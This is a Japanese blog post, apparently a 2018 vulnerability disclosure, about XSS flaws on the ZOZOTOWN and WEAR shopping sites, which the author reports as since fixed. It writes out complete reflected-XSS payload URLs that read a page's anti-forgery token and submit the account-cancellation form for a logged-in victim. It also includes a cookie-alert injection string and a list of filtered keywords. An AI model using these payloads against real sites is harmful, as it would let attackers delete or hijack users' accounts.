ZOZOTOWNにあったXSS



(2018年10月)

(宇宙よりエンジニアに金かけた方が良いのでは?)

って近所の猫が言ってた。

XSS

以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

ログイン中に踏んだら強制退会できたXSS↓

http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
    type: 'GET',
    url: 'http://zozo.jp/_member/leave/default.html?',
    success: function(html){
        var token = $(html).find('input[value=Leave]').attr('name');
        var payload = {};
        payload[token] = 'Leave';
        payload['check1'] = 'on';
        payload['check2'] = 'on';
        payload['check3'] = 'on';
        payload['check5'] = 'on';
        payload['check7'] = 'on';
        $.ajax({
            type: 'POST',
            url: 'http://zozo.jp/_member/leave/default.html',
            data: payload
        });
    }
});{{'

http://zozo.jp/~https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。

原因

htmlにべた書きする形で、<script>タグの中身をURLから動的に生成していた。
現在は直っている。


あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに

  • "><script>alert(document.cookie)</script>

とか突っ込むとセルフXSSができた。
現在は直っている。

感想

  • 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
    • <script> ~、<img> ~、<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
    • location. ~ でリダイレクトさせたりすることはできた。
  • jQueryを使ってくれていて助かった。
  • ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。
    • → この記事書いた3日後にきた。

WEAR

知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。

追記1:

よくよく見てたらWEARでも普通にXSSできた。

(2018年10月)

追記2:

WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

強制退会XSSもできた↓

https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
 type: 'GET',
 url: leaveUrl,
 success: function(html){
 var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
 var payload = {};
 payload['AgreeCheck'] = 1;
 payload['c'] = 'leave_comp';
 payload['leaveAgreeKey'] = token;
 $.ajax({
 type: 'POST',
 url: leaveUrl,
 data: payload
 });
 }
});
var b = {'c': '

追記3:

海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。




(2018年10月)